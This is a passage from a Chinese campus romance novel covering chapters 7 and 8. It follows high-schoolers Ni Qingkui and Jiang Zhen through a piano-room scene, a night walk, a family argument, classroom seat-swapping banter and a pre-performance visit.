他说完,手伸到书包里,跟倪青葵同时出声——
“你有胃病?”
“你有胃病?”
方立函摸出一瓶胃药,“一直有啊。”
他将手腕一抬,药抛出去,脸上带着一点无语的笑:“为你鞍前马后这么久,你到底关不关心你的御前侍卫?”
倪青葵双手捧住,笑说:“谢了啊方侍卫,我帮人借的,我没病。”
方立函好像回了句了什么,倪青葵没听清,急于救人,脚如风火轮跑出幻影。
-
倪青葵已经做好准备迎接一个趴在钢琴上奄奄一息的“病美人”了。
然而,她还没进琴房,远远就听到综合楼二楼琴房传来钢琴的旋律。
他弹的是倪青葵选的那首《圣诞快乐劳伦斯先生》。听这个琴声,气势磅礴得能宰两头牛。
看样子,目前应该是晕不了。
于是上楼时,倪青葵放宽心,也放缓了脚步。
倪青葵的朋友很多,多到可以组成一个连。女生居多,男生也不少。
但江轸仍然是其中最特别的那一个。
比起“朋友”,她更喜欢称呼他为“战友”。
赛场如战场。
自从三年级,她的老朋友陈思尧退场,江轸站在她身边起,他们完成过不少次团体演出。江轸的出现让倪青葵第一次体会到,什么叫做“高山流水遇知音”。
倪青葵和陈思尧都擅长独奏,虽然没有故意争风头的意思,但一拿起琴就开始打架,谁也不让谁。
但江轸就懂得松弛有度,配合她,让她做主角。
他好像生来就特别懂她,两个人合作得天衣无缝,几乎省略了磨合。
就像伯牙子期,天生拍档。他像钢琴温润,她如提琴活泼。
她最最闪耀,最最单纯,将天赋发挥至极的童年时光,有他陪伴。
那个时候,大概所有人都觉得,倪青葵将来一定会成为出色的小提琴家。
琴房昏暗,少年端坐。
走廊上有几个女生,大概是循声而来的。
隔着她们的背影和肩膀,她看到月色下的江轸,她见过无数次他弹琴的样子,最久的时候,一整天,他们有15个小时都在一起练琴。
此刻的江轸身旁,理应有一个从容架着小提琴的女孩站在那里。这样的画面才更顺畅舒适,合乎情理。
这首曲子的主角是钢琴,需要她做辅助。
倪青葵这样想着,轻轻地闭上眼,捋着他的旋律,再找着他的节拍节奏,在合适的位置进入,垂在身侧的手指不自觉地开始按弦。
直到意识到自己在做什么,倪青葵微感气馁地将手握成拳头,塞进口袋里。
她回过头,望着初升的月亮
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拿不起琴的时候,她就喜欢这样看着月亮。
曾几何时发现,梦想就跟月亮一样远。
江轸合上琴盖的时候,在思考刚才弹错的几个音,太久不练习,确实生疏了,抬眸时,才注意到走廊有几个女生趴在窗户上看他,甚至有人在拍摄。
他起身去取旁边的手机时,顺便冲外面扫了下手指。
女孩们虽然意犹未尽,但一被发现,就都难为情地跑开了。
走廊空了。
只有一个人背对着他,在抬头看天。
倪青葵推门进来。
“生病还弹这么牛,江轸,你是天才。”
她笑吟吟地走到他的面前,竖起大拇指,不吝称赞。
江轸正准备肯定她这句“天才”,倪青葵下一秒就从口袋里掏出一个小瓶子递上:“吃药吧。”
“……”
江轸看着她手里的药瓶,目色微沉。
他挪开视线,打算绕过她往前走,口中淡淡地推辞一句:“不至于。”
倪青葵转着瓶身,看看药名,重新堵他面前:“又不难吃,胶囊比中药正常多了。”
药又往前伸了伸。
江轸用指关节把药瓶推回去,语气凉凉:“不用。”
“用的用的,吃药才会药到病除。”
他看着她的眼睛,严肃地说道:“已经好了。”
“那就预防啊,免得一会儿又疼了。”
倪青葵咧着嘴巴瞅着他笑,很难说她是纯正的热心肠,还是在报复他之前叮嘱她喝中药的事。
江轸拿着手里的奥美拉挫,转了一下瓶身,试图寻找药物成分。
倪青葵突然想到:“哦,没水是吧。”
江轸停下看药的目光,胸腔里稍稍松下一口气。
倪青葵突然想到:“我书包里有!”
“……”
一口气又提了回去。
“不必有。”他诚心劝说。
她走到门口刚刚放书包的凳子前,说着:“这药不能嚼吧,你要直接咽下去会有噎死风险。你可是李老师的心肝宝贝肉疙瘩,一代学神别毁在我手里。”
江轸重复:“可以没有。”
“有就是有,什么叫可以没有。”倪青葵一边打开书包,一边语重心长地叽里咕噜,“这还是我借来的,生怕你在这儿晕了。生病还是要吃药的,别跟我一样发展严重了要喝中药,你知道那药多难喝吗?我真的会吐。”
他从她一串话里捕捉关键词:“你借的?”
“方立函的。”
“……”
江轸目色深深地看着药瓶。
早上才帮人开了个鸡蛋,此仇还没过24小时。
现在,他除了要考虑药物是否会对身体造成危害,还无法排除遭人投毒致死风险。
不幸中的万幸,他兜里有一盒薄荷糖。
江轸手摸到裤兜里。
倪青葵热心地拿来一瓶没开封的矿泉水,拧好递给他。江轸喝了水,把糖含在了嘴里。
她眉开眼笑:“乖。”
倪青葵去拿他手里的药瓶。
江轸想了一想,指骨用力一收,又把药瓶握回自己手中:“我去还。”
“也行。”
倪青葵又想了想,方立函这个人吧,很大方,很不计较,你要是跟他借点什么东西不还,他肯定也不会再要了。于是又指着药瓶提醒,“那你别忘了,人家有需要的。”
“不会。”他说。
琴房空旷昏暗,倪青葵靠钢琴站着。
两人不说话时室内就会显得尤为寂静,脚踩老旧的地板都会发出嘎吱的轻响。
她突然觉得,好像哪里不对,秀眉轻蹙。
“这药是甜的吗?”
倪青葵用手指做了一个扇风的动作,像要把他的气息送到自己鼻腔里,“还是橘子味?”
江轸扶着钢琴一角,松弛地站着,闻言,他稍稍弯下身去。
他低声:“有吗?”
嘴角微弯,笑得好奇:“哪来的橘子味?”
少年放大的五官近在眼前。
倪青葵先看了一眼他带点笑意的眼睛,一双深邃沉冷的桃花目正以极浅的弧度弯起。
他很少笑,这样恰如其分的半点笑意,又在这样恰如其分的距离中显得格外俊美,连月光都恰到好处地眷顾着霜雪消融的容颜,英俊得过分标准的一张脸,做出的满分表情仿佛要经过计算与训练才能得到,方能在镜头里展露最优越的角度。
可恶的是,江轸不用训练,他随意的举手投足都迷人,且沉着。
倪青葵的视线随着他挺拔的鼻梁滑下,随后下意识地盯紧了他的嘴唇。
喝过水的薄唇微微泛点湿气,嘴角也掀起一道弯弧,她似乎真的闻到,那若隐若现的水果味幽香。
倪青葵暗暗地琢磨着,等反应过来,他们脸颊的距离已经很近了。
倪青葵收紧了呼吸,又重新看一眼他的眼睛。
下一秒,兜里手机震了。
倪青葵连忙掏出,是爸爸给她回电了,她背过身走到一旁,接听。
“喂爸爸。”
“没,我一会儿就回来,就是江轸刚刚跟我说他有胃病。”
“对,不知道多久了,还没问他,你看能不能安排个时间给他扎两针?”
“……”
江轸维持着扶着钢琴的姿势,好一会儿没动,只把嘴角的僵硬笑容一点一点收回,看起来整个人已经筋疲力尽。
古人早就给出经验,机关算尽的人,会死。
7. 遗憾07
倪青葵挂掉电话,回头跟江轸说:“我刚刚给我爸说帮你针灸,你什么时候去?”
江轸拎起校服,挎在臂弯里,音色冷静:“急性的,没到要针灸那么严重,不要浪费医疗资源了。”
他脚步往前,“走吧。”
倪青葵:“我就说啊,你以前哪有这样。”
她仍然关切,看看他脸色:“吃了药好点了吧?”
江轸面无表情地看她:“生龙活虎。”
他推开琴房的门,让她出去。
虽然听不出他生龙活虎的强健,但她也满足了,倪青葵往外走,脚步弹跳:“那就好。”
夜深的综合楼很沉静,不料江轸刚刚遣散的那帮女孩子,还有几个蛰伏在一楼楼梯口。
不知道要表白还是递情书礼物,在同伴的鼓励下,其中一个女生勇敢地上前,看到江轸旁边的女孩子,脚步又一缩,旋即带笑:“嗨,青葵。”
是其他班的女同学,倪青葵也认识,面露惊喜,然后友好打招呼:“诶?宁宁,你们还不回去吗?”
“马上了。”
叫宁宁的女孩子跟倪青葵说着话,眼神却逗留在往前走的男生身上,江轸靠楼梯另一侧,离得稍远一些,眼见江轸目无表情地路过了,女生又往前迈进一步:“那个,江……。”
“江……”
某男神的突发性耳聋又随机发作了。
远去的少年背影清冷,倪青葵也愣了愣,冲着身后被忽略的女生讪笑一下。她指着耳朵,手指绕了两圈,急中生智帮他打圆场:“他天天游泳,这两天耳朵进水了,有点听力障碍。”
“噢……这样。”
“嗯,先走了,”倪青葵挥挥手,“拜拜。”
“拜、拜拜。”
认识到天之骄子的耀眼程度,倪青葵在校园里还是尽量不跟他走得太近,避免遭人非议。
隔了大概两三个人的距离,她打趣一笑:“我就说你不会一个人吧,琴房这么热闹。”
不知道为什么,眼前大路他不走,江轸选了个小树林的窄路。
这里路灯都没几盏,倪青葵看着脚下,小心地踩着草地的汀步石。
闻言,江轸放缓脚步,沉着嗓音出声:“游泳太多,耳朵进水了。”
他回眸看她,眼中仍旧波澜不惊:“有话靠近说。”
倪青葵大跨步走近。
江轸看着她,直到倪青葵和自己并肩。
由于今天的裤子宽松,江轸成功地把心放到了肚子里。
就算她凑近,哪怕抱他,摸他,强吻他,把他推到小树林深处蹂/躏,第二天也不放过他,甚至决心一辈子缠着他——他也会手无缚鸡之力地慷慨就义的。
江轸严阵以待,缜密地思索着。
倪青葵有时看到他始终如一的表情,也很好奇他这个闷葫芦的脑袋里装了些什么,于是仰头打量他神色:“总是不说话,你在想什么。”
江轸出声:“设a0=1,an+1=an+……”
“老天爷啊,你真无聊!”
上了一下午的数学课,倪青葵都快爆炸了,简直要喊救命,她对江轸进行认真劝说:“脑子里能不能多一点浪漫细胞,去想一些温柔的事情?”
“比如?”
她试着教他:“比如,你要不要抬头看看今天的月亮多漂亮?”
他看看天上,又看看她:“一般吧,雾太多了。”
“……”
倪青葵一副彻底被他打败的脸色,抱着胳膊走到前面去了,背影俨然写着:孺子不可教也。
静了几秒,默默跟上。
雾蒙蒙的月亮也洒下一点灰白的光晕,稀薄地笼罩在地面上。
两人无声地走了一段路,江轸在她身后说:“既然你有心事,我说什么都是打扰,不是吗?”
倪青葵的肩背很明显的僵了一瞬。
她或许该问,你怎么看出来的?但以他们的关系和默契,已经可以省略这样的对白了。
她有时会很笃定地想,他们一定是太熟悉了,所以会产生类似于心电感应的相互作用,让他这个只有数理化的脑子能够瞬间留出余地,连接上她许多的小小想法。
倪青葵停下脚步,回头望他。
高瘦颀长的少年身影陷进黑色天幕中,气质有如融进夜里的静谧霜雪。
“江轸,我问你个问题。”
“你问。”
“你有没有什么遗憾?”
“前两天考试败北,算不算。”
“不要这种小的。”
“什么叫大遗憾,什么叫小遗憾?”
“很多年都没有消解的那种。”
“很多年是多少年?”
她低着眼睛,想了想:“三四年吧。”
江轸说:“那你知不知道,人可以活到一百岁?”
倪青葵反驳他:“可是我只活了十几年啊,三四年对我来讲就是很漫长啊!”
她双手捏拳,咕咚咕咚捶他胸口,“不许抬杠。”
江轸低眸看她的手,由她捶。
随后他凝神思考了一番,然后说:“四年级,有一次。”
倪青葵露出了听八卦的表情。
又听他说下去:“数学只考了98。”
“……”
倪青葵想把他痛扁一顿。
她接着往前走,再几步,又停下了:“那你有没有,怨恨过……”
倪青葵稍作停顿,突出了怨恨这个词,似乎是在这里做了思考和斟酌,但并没有找到更合适的措辞,于是接着说下去,“一些事情,或者人?”
江轸没有回答这个问题,也没有再往前走,他手抄兜里站在那儿,只是定定地看着她几秒。
他目色温良而平静,在寂寂夜色中,像一针抚慰人心的镇定剂。
倪青葵正在怀疑这个问题是不是听起来有些诡异,便听见他说——“何必一直问我有没有,你想要答案,我可以告诉你。”
“嗯,你说说看。”倪青葵等他发话。
江轸说:“没有什么恨是值得被铭记的,也没有谁的爱应该被遗忘。”
顿了顿,他补充:“我是这样认为的。”
倪青葵凝视着他,少年的眼神沉着且深邃。
这人吧,有的时候很木讷,偶尔蹦出来的话却也很有哲理。
而且互相不说破,他似乎也明白她在为难什么。
拼图的缺口找到了对接的那一块,他温温柔柔地卡进来。
倪青葵说:“道理都懂,可是不顺遂的时候,人总是很难从容,对不对。”
他说:“那就暂时和你的不从容共存,抽刀断水水更流,顺应比对抗更重要。”
倪青葵没有接话。
江轸的语气平和下来几分:“不过,顺不顺遂都会过去的。”
她抬头看天。
雾气散了,月亮真的很漂亮,但是再漂亮也有阴晴圆缺,就像人间难以抵挡的悲欢离合。
倪青葵背着手,脚步轻盈地走出了小树林,她看到在校门口等她的简书颐,用后背对着他,说:“谢谢你啊江轸。”
他问:“谢我什么?”
“谢谢你这么懂我,谢谢你曾经做我的战友。”
倪青葵回头,笑着冲他挥手:“晚安,药记得还给方立函。”
……
公交停在距离南风巷200米的街口,倪青葵和简书颐走完最后的路程,在巷子口,看到一辆车开出来,倪青葵的脚步稍作停留,视线跟随,简书颐敏锐察觉她的片刻失神,也随之一看:“谁的车?”
倪青葵喃喃:“有点像我舅舅的。”
果然走到门口,还没进去,倪青葵隔着门就听见倪月岚提着嗓子在抱怨的声音。
“你别看他跑过来大义凛然地要钱,老头子伤病住院还不是他老婆在照顾,去医院的路恐怕都不认得吧!怎么着,服侍人的工作天生就是我们女人该干的是吧?”
倪青葵握着门把手的手顿了顿,甚至听到了妈妈拍桌的声音。
“不是天生女人该干,从来没有什么天经地义!是我们女人有良心!知道仁义这两个字怎么写!!说得多伟大,给你两口饭吃就叫养你了,那等我老子快死了,我也扔两个馒头给他,反正不叫他饿死在我手上,就当我仁仁慈慈地给他养老送终!要钱,一分没有!”
王志斌劝道:“你喝口茶吧,消消火。菊花的。”
倪青葵推门进去,扫了一圈,看到客厅残留的待客痕迹:“妈妈。”
女儿回来,战火消停。
倪月岚正坐在餐桌前,王志斌把晚餐的菜从厨房端出来,看见女儿进门,他问:“小江要紧吗?”
“没什么事,可能就是没及时吃晚饭。”
倪月岚把脾气收了:“洗洗手吃饭吧。”
快收餐时,倪青葵问:“舅舅又来借钱了?”
夫妻互看一眼:“嗯。”
“你给了吗?”
“给他个屁,我的钱不是钱?”
“那你怎么讲的?”
“哭穷诶,还能怎么说。你有孩子要养我没有?你辛苦我就不苦了,我忙里忙外操持老小,哪里不要用钱?”
王志斌问:“你哪有老的要操持?”
“你不就是?”
“啥玩意。”王志斌懵懵地去照镜子,试图扶平眼角的皱纹。
倪青葵咯咯笑了一声,又看妈妈,“外公的身体好些了吗?”
“不知道,没问。”
空气里静了静。
妈妈和外公外婆向来不和,自从老两口签了协议书把家里财产都留给独子之后,倪月岚跟他们以及舅舅一家都没怎么来往了,前阵子舅舅打电话来说,外公摔了一跤,没什么大碍,说是腿骨折了,要住院一段时间,舅舅跟妈妈要赡养费,倪月岚一分钱没出。
倪青葵知道,妈妈在外永远和善笑脸,为人处世从容大气,不与人树敌,但作为一名精干的生意人,她自然也有自己的精明利落、乃至“狠心绝情”之处。
王志斌收了桌子,冲倪青葵说:“别天天在那悠闲晃荡问东问西的,吃完就赶紧回去做题吧。”
王志斌是个相对刻板的父亲,虽然大多数时候和气,偶尔还是会露出严肃一面。
家里一个红脸一个白脸,爸爸就是负责对她进行思想教育工作的那个。
倪月岚讥诮:“多做做题,20年后跟你一样,坐那老气横秋地给人把脉是吧。”
王志斌挥手:“你爱咋说咋说!”
看了一眼偷笑的倪青葵:“学你的习去。”
倪青葵笑着回到房间。
一个大气,一个小肚鸡肠。一个不拘小节,一个细致有洁癖。
如果互补的个性才能使关系稳固,她父母也算是天生一对了。
-
新的一周,班长工作量累积。
当务之急,要收班费了。
课间,倪青葵找到方立函时,他正伏在桌子上,一动不动。
她还以为他在睡觉,说了句:“今天能不能帮我把班费收齐?我得策划下周的主题班会。”
方立函听见了,但也没出声,趴在那,抬一只手,有气无力地比了个OK的手势。
倪青葵低眸就看到他清瘦骨感的手腕上戴了一块表,是她妈相中但一直没舍得买的牌子,少说有六位数。她倒吸一口凉气,眼见价值连城的手表和乏力的手一并下落,腕子松松地搭在了后颈,倪青葵察觉到异样,问他:“你不舒服啊?”
他声音闷闷哑哑的:“一点点。”
倪青葵出谋划策:“要不要我爸给你针灸?”
她致力于把她爸的医术带到每位患者跟前。
方立函仍然伏在桌上,少顷,露出一双眼睛看她,虽然很虚弱,但依然带笑看她:“叔叔是中医?”
“对,你哪里不舒服?”
“老毛病了。”
倪青葵问:“上次江轸把药还给你了吗?”
“还了。”
倪青葵又问:“你吃了吗?”
“没。”
倪青葵表情复杂地看着他,想问些什么,又没说出口。
“谢谢班长关心,我就喜欢疼着。”他拳头抱起来,懒洋洋说,“针灸就免了,等我好了继续给您效劳。”
“先不要想着效劳了,还是好好吃饭吧,你身体健康最重要,班费我自己收吧。”
倪青葵回身时,简书颐经过,看看她的表情,又看一眼方立函,轻声说:“有的人就喜欢自虐,别想太多。”
“……嗯。”
倪青葵若有所思地回到座位上。
后排的江轸也收回旁观的视线。
周绥听到旁边的两人对话,好奇问一句:“你爸是中医?”
倪青葵刚坐回位置上,还没说话,简书颐替她回答:“对,少接触,你一个礼拜打几次飞机他都能摸出来。”
周绥瞠目:“不是,我说你一个女生——”
简书颐:“我一个女生,怎么能把你们男的众所周知的下流事堂而皇之地说出来?”
周绥蹙眉:“……我招你惹你了简大小姐?”
“你没招我我就不能说话了?”
“……”
“饮水机去装一下,我下节课要喝。”
周绥冲黑板抬了抬下巴:“值日生名字你看不见?”
“你、再、废、话。”
“……………………”
周绥长得帅,家境也不错,大概长这么大没受过此等委屈,长腿一
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抻往后靠,一脸拽里拽气即将要爆发的样子,但过了几秒后,高贵的长腿还是迈出去了。
装完水回来,周绥看一眼江轸旁边的空桌子,虽然这儿没人坐,但是堆满了书和卷子,他问:“你这儿谁的东西?”
江轸扫了一眼旁边的课桌:“倪青葵。”
“能不能撤走?”
“不能。”
“等换到那边,我到时候从你这儿进。”
见他指了一下西边靠窗的位置,一脸计划周密,尽在他掌握之中的样子,江轸不解:“你是在询问我的意见,还是对我进行通知?”
“我在问你可不可行。”
听他的意思,或许是要爬进去?
江轸稍作理解和想象,用复杂的表情看了他片刻,较为认真地劝诫,“我想,这并不体面。”
“那我从底下钻进来体面吗?”
“不会有人看见,就谈不上体不体面。”
……他大爷的居然有点道理。
周绥把她保温杯放下,接着烦躁坐下:“你跟她们一伙儿的吧江轸?”
江轸事不关己地继续做题。
过了会儿,周绥怨气未消,觉得这事儿没完,他又喊隔壁小组隔一条走道的人:“方立函。”
方立函已经坐直了,看起来身体的不适已经缓解了些,问他:“怎么了?”
周绥:“你要不要跟我换位置?”
方立函好奇地看了他一眼。
江轸机警地看了他一眼。
简书颐冰冷地看了他一眼。
倪青葵饶有兴趣地看了他一眼。
徐宛遥满心欢喜地看了他一眼。
方立函稍稍后靠,越过周绥,看向脸色冰冻的简书颐,声音放轻,含笑说,“坐你那儿干嘛,替你挨抽吗?”
周绥皱眉,偷偷跟他说,“她真的不是谁都抽,她只抽我——不是,看我不爽。”
周绥抓着他的胳膊,几近虔诚地说:“你信我兄弟,她真的不是那样的人。”
方立函笑得肩膀都抖:“为什么啊?”
简书颐在不远处冷冷应答,“草包远离我。”
周绥:“……”
方立函又问他:“老师同意了?”
周绥:“你就跟老师说,你说你很想提高成绩,特别需要一名学霸辅助,特别需要坐这张桌子,你不坐这儿,你这辈子都没指望了。”
“好处呢。”
“要什么你随便提。”周少爷大方。
“考虑考虑。”方少爷也不缺。
“跟你女神坐一起不好?有什么可考虑的,现在就搬。”
方立函拿了本书,散漫翻阅:“女神又不给机会,靠得再近有什么用?”
倪青葵顿时捂住嘴巴,像是嗅到了什么不得了的东西。
这种感觉从几天前就开始蔓延了,此刻她终于可以确定。
倪青葵拉着简书颐,汇报她的重大发现,“你有没有觉得,水立方可能喜欢你。”
简书颐一口水喷出去三米远:“好想把你脑袋撬开看看里面是哪两根神经搭错了。”
倪青葵抱住头,表情做出一个苦字:“那好痛。”
接着讲她的重大发现:“真的,有几次上课,他好像老是往我们这个方向看。”
“那你怎么不觉得他是喜欢你?”
“因为他喊你女神啊。”
“你猜我为什么说这人假?而且我不本来就是女神?”
看着这张很有说服力的绝色倾城貌,倪青葵又低眸沉思:“那,难不成他是在看……”
简书颐:“江轸。”
换倪青葵的水喷出去三米远,她大惊失色又恍然大悟:“怪不得!他们看起来就不对付,故事的开始往往——”
“stop,”简书颐提醒,“本班禁腐。”
倪青葵收回恍然大悟,乖乖的:“噢噢。”
简书颐问她:“说真的,你要不要看点小说补补脑子?”
倪青葵火速凑过去:“有推荐吗?”
简书翻了翻书包,找出一本蓝色封面的言情小说,叫《南瓜马车不停站》。
倪青葵接过:“好看吗?”
“还行,打发时间。”
“文笔怎么样?”
“仅次于我。”
倪青葵又仔细地看了一眼书封的小字,她读出来:“青梅竹马,暗恋文?谁暗恋谁?”
“男主暗恋女主。”简书颐没耐心解答了,催促道,“快点看吧,看仔细点,一个字都别落。”
两人聊到小说后,声量都有些高。
闻言,方立函看了一眼简书颐。
趴在桌上的徐宛遥将脑袋转了个方向,往第二组瞄。
江轸看着倪青葵的背影,随后抓住方立函投向这边的视线。
简书颐兴致盎然地勾唇,又了如指掌地继续做题。
周绥问了一圈换座位的事情,四处碰壁后,兴致缺缺地回来了。
正准备进去时,听见身侧冰冰凉凉的一声——“教室格局变动,对谁都不好,别大动干戈。”
是江轸在说话,语气严肃冰冷,宛如外交部发言人在对外警告不容侵犯的国土问题。
江轸抬眸看他的眼睫都结了点冰,状似要挟。
周绥想问问江轸什么意思?对谁不好了?刚才你不是还对老子的惨况很无动于衷吗?他低头一瞥,身后这张桌子的桌面不知道什么时候变得干干净净。
“这儿书呢?”
江轸妥协道:“清了,方便你爬。”
“……”周绥无语绝望又不可置信地看着他。
看在周绥给她老老实实倒了杯水的份上,简书颐短暂地收起了攻击力,只是瞪了他一眼。
课前五分钟,倪青葵拿着小说飞速翻阅,埋头苦读,像是紧急地在书里寻找什么信息,她越找越急,直到上课前,书被丢回简书颐的桌上,扉页夹着一张纸条,很不巧,轻飘飘的字条飞了出来,正好飘到江轸的桌角。
简书颐把书塞回书包里,摇晃着的脑袋里漂浮着四个字:无可救药。
江轸拾起字条,看到一行愤慨的大字:【我要看黄的!我不要看省略号!!!】
等倪青葵发觉大事不妙,扑过来大喊“慢着!!”时,江轸已经快速地扫完了这行字。
倪青葵双手按紧在他的桌面,也按住那张字条,面露无比呆滞的假笑:“这……不是给你的。”
江轸眼里的错愕和无辜不像演的:“什么意思?”
虽然明显有着装傻充愣的嫌疑,倪青葵还是因为他装傻充愣的表现而稍微松下一口气:“好,就这样,别懂。”
江轸戴上眼镜,面貌斯文端正:“确实不懂。”
倪青葵一身冷汗坐回去。
8. 遗憾08
方立函很给兄弟面子,语文课,李帆一进门,他就举了手:“老师,申请换座。”
江轸机警。
简书颐翻白眼。
倪青葵看好戏。
徐宛遥迫不及待。
周绥胸中燃起熊熊烈火。
李帆抬抬下巴:“你要和谁换?”
“周绥。”
李帆眼神微妙,左右查看:“想跟简书颐坐?”
“对。”
“理由。”
方立函说:“跟学霸坐有什么理由?当然是为了提高成绩。”
李帆静了静,视线挪到一边男生脸上,喊:“周绥。”
“在呢。”周绥已经准备收拾书包了。
李帆说:“没人比你更需要提高成绩,别再反复试探了!”
全班大笑。
周绥面如死灰。
方立函笑着看向周绥,手一摊示意,这下我没办法了。
江轸心情不错地把倪青葵的东西放回桌面。
-
金秋十月,校园艺术展演活动在江城音乐学院附属中学开幕。
这个活动说起来是竞技比赛,但对他们重点高中的学生来说意义不大,李帆和倪青葵的意思都是让江轸随便表演表演走个过场,李帆好交差,顺利的话她能拿点绩效,毕竟每次学校搞什么活动,他们重点班总是反响平平,显得死气沉沉。说好的素质教育,学生都一心扑在学习上也不好看。
江轸准备动身去赛场那天,倪青葵来家里敲门。
他已经换好正装,因为离出发还有一点时间,便坐在房间的窗前看了会儿竞赛题目。
外边传来门铃和交流声——
“阿姨。”
江妈妈的声音温柔小意:“小葵?你怎么来了。”
“我来找江轸,今天他表演节目,我怕他睡过头,提醒一下。”
“他记得,没有午休。”江妈妈一边说着,一边招呼她,“我去给你拿点零食。”
父母招待孩子的方式永远是投喂吃的,还当他们五六七八岁。
紧接着就是倪青葵直呼:“不用不用,我不吃橘子,会上火。”
“干果也不要,吃过饭啦,太饱了。”
“诶诶真的不吃,谢谢阿姨。”
“好吧,我拿个酸奶好了。”
“谢谢阿姨,您太热情了。”
说这句话的时候她带着笑音,眼睛大概率已经弯成了月牙,嘴角有浅浅的梨涡浮现。
江轸闻声,把垫在卷子底下的琴谱放到最上层。
另一只手一下子解了四五颗衬衫扣子。
低头看一眼,衬衫都解成深v了。
过于野蛮。
残存的矜持让他扣回去两个。
半分钟后,有人叩门,把他虚掩的房间门推开一点,脑袋探进来,少女热情洋溢的声音在耳后——“Goodafternoon,江轸!”
“Goodafternoon,倪青葵。”
语调平平,并无好友到访的欢欣。
江轸在椅子上叠腿静坐,膝盖上摆着几张纸。
他穿熨帖的白色衬衫和西裤,看起来斯文矜贵且沉稳,气质淡然持重。
倪青葵没进去:“准备好了吗?我在外面等你。”
“进来,”他看向门口,眼波淡淡,“把门关上。”
倪青葵还在犹豫要不要进门,就听见他后面那句,她好奇:“还需要关门吗?”
江轸:“她在煮茶,有味道。”
“真的假的?”
倪青葵又回头张望张望,进来的时候都没注意他妈妈在煮茶,也没闻到什么味道,可能他鼻子很敏感吧。
她嗅了嗅鼻子,还是没闻到。
倪青葵没多问了,走进室内,把卧室门关好。
“你在看谱啊。”
“嗯。”
江轸坐在一个办公椅上,倪青葵走过去,见他手里的东西,就站在他后边,手臂松松地搭在椅背上,折身跟他一起看了两眼。
看着看着,她有些走神。
江轸穿了一件衬衫,扣子还没系好。
男孩子白皙漂亮的锁骨近在眼下,让倪青葵呼吸放慢,自觉地撤开了一点距离,因为他们之间近到,她怕再弯一点腰,鼻腔吐出的气息都会对他产生干扰。
他可能刚洗了个澡,换好衣服,头发是干燥的,身上有清淡好闻的香气。
江轸在安心看琴谱,倪青葵心猿意马地眨眨眼睛,虽然保证了距离上面的安全,她还是维持着站立在他身后的姿势没有动。
飘窗的小窗被推开,留一点缝隙,窗帘散漫地拍打干净的白墙。
这两天又有一点升温,午后的风是温暖的,把他干燥洁净的气味扑在她的脸上。
倪青葵瞥一眼江轸清秀的眉眼,高高在上的学神样子尽显一丝不苟的学习态度。
有那么一个瞬间,倪青葵觉得自己好坏。
人家这么正经,而她在懒倦舒适的氛围里走神。他在汲取知识,她在欣赏他的美貌。
这不合适。
倪青葵清清嗓,还是说点话吧,不会尴尬:“对了,周绥今天又找我说,他说可以退而求其次坐你旁边,想问问你的意见。”
“退而求其次?”江轸疑惑,这个词怎么会用在他身上。
倪青葵说:“因为他想离简书颐越远越好,如果不能实现,不做同桌就是最大的让步。”
江轸了然,继续低眸看稿:“不用理会,他是M。”
倪青葵面露困惑:“M是什么东西?”
“受虐人格。”
倪青葵吃惊又恍然:“你的意思是,他其实很享受这种生活。嘴硬想逃跑,其实插翅难飞,又欲拒还迎?”
江轸:“极其享受。”
听他这么说,倪青葵仔细琢磨了一下周绥的行为,虽然嘴上一万个不情愿,可一旦简书颐勒令他做什么事情,他也不会违抗,仿佛两条腿不收他意志的调配,就自觉为她当牛做马了。
倪青葵思考着说:“看不出来啊这个周绥,他居然这么闷骚。”
他附和:“深藏不露。”
倪青葵手里掂着江妈妈给她的酸奶,喃喃自语一般说下去:“不知道他怎么想的,反正我就觉得老师这样安排自然有她的道理,周绥进校成绩考倒数第三,现在都能排46了,一姐本来就帮了他很多啊,还不知足。要是有学霸带我飞,天天挨批评我也愿意。”
江轸算了下,46名是倒数第五。
他主观点评:“飞跃式进步。”
倪青葵好奇望他:“你也觉得他俩坐挺合适的?”
“当然。”
她微微一笑:“行吧,我不管他了,差生没有话语权。”
聊完这个话题,倪青葵又随他的视线一起看谱。
看着看着,她又走神了,“你身上……”
音节脱口而出,倪青葵倏然认识到这话可能有越界的嫌疑,连忙把嘴巴闭紧了。
但江轸状似好奇:“我身上?”
顿了顿,她说下去:“你刚洗了澡?有海盐和西瓜酮的味道。”
“嗯。”
“没什么,就是我挺喜欢这一款的。”
“是吗。”
他语气平静,不意外,也不好奇。
倪青葵最喜欢的一个小说男主的身上就常年散发着海盐混合西瓜酮的香气,书里总是强调他多么干净清爽,多么充满少年气息,像是拂面的海风,又扬在高处,难以捕捉。
江轸看了一眼时间,随后走去找外套。
他的房间小一些,没有衣帽间,到衣柜前,江轸挑选好一件西服,背对着倪青葵,将衣服穿上。
倪青葵已经模仿着他刚才的姿势,在他的椅子上舒适坐下,翘着腿,手搭两边,晃晃悠悠:“你是M吗?”
她看着他试西装的背影。
宽肩,细腰,长腿,顶级比例,秀色可餐。
闻言,江轸微微偏头,给她留一个俊美侧影,低声问:“哪方面?”
还分哪方面?
倪青葵头一歪,饶有兴趣地想,江轸这样满脑子数理化的男生,如果谈起感情来,在异性面前会更符合什么样的个性?强势或者妥协?
他这么沉默寡言,大概率恭恭敬敬,说一不二,对女朋友俯首称臣吧!
她早习惯他喜怒不形于色的样子,不知道江轸要是被挥拳相向了,会不会依然这么淡定,还是放声惨叫,然后哭着大喊,女侠饶命!!
倪青葵兴味十足地畅想了一番,笑声从心底流到嘴边:“啊哈哈哈哈哈哈!”
倪青葵笑了半分钟,再一睁眼,江轸正回眸,安静地看着她的扁桃体。
倪青葵稍有收敛,接着问:“我要是打你你会爽到吗?”
江轸重新转过头去,西装不常穿,很多都已经变小,他挑拣了一件合身的,不紧不慢地系上扣子,说道:“看在哪里打。”
倪青葵还陷在想入非非的笑里,扶着脸说:“你比较安分,我不打好学生。”
过了会儿,倪青葵才反应过来什么,脸色突变,惊恐万分:“诶?什么意思,在哪里打你你会爽到啊?”
他说:“纸上谈兵没有什么意义,体验过才知道。”
倪青葵好笑:“被人揍还要讲体验?什么脑回路?”
他换好衣服,系着腕扣走过来。
倪青葵眼前一亮,贡献出心中至高无上的赞美:“江轸,你今天不是书呆子,今天特别帅。”
他轻轻一笑:“过奖。”
江轸对于笑容的吝啬也是他的防御机制。因为他笑起来过于貌美,会遭来更大的麻烦。
不过偶尔展露一下,极有妙用。
比如此刻,对上他的笑容,倪青葵就立刻飞快地眨眨眼,眼神找不到方向飘忽了一会儿后,低下头喝酸奶了。
江轸小时候跟男同学打篮球,大家都成群结队,他看到倪青葵过来,然后一个人掉在后面,仿佛被孤立。
有人回头喊,让他快点跟上。<
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p>但是江轸聋了,低头走路。
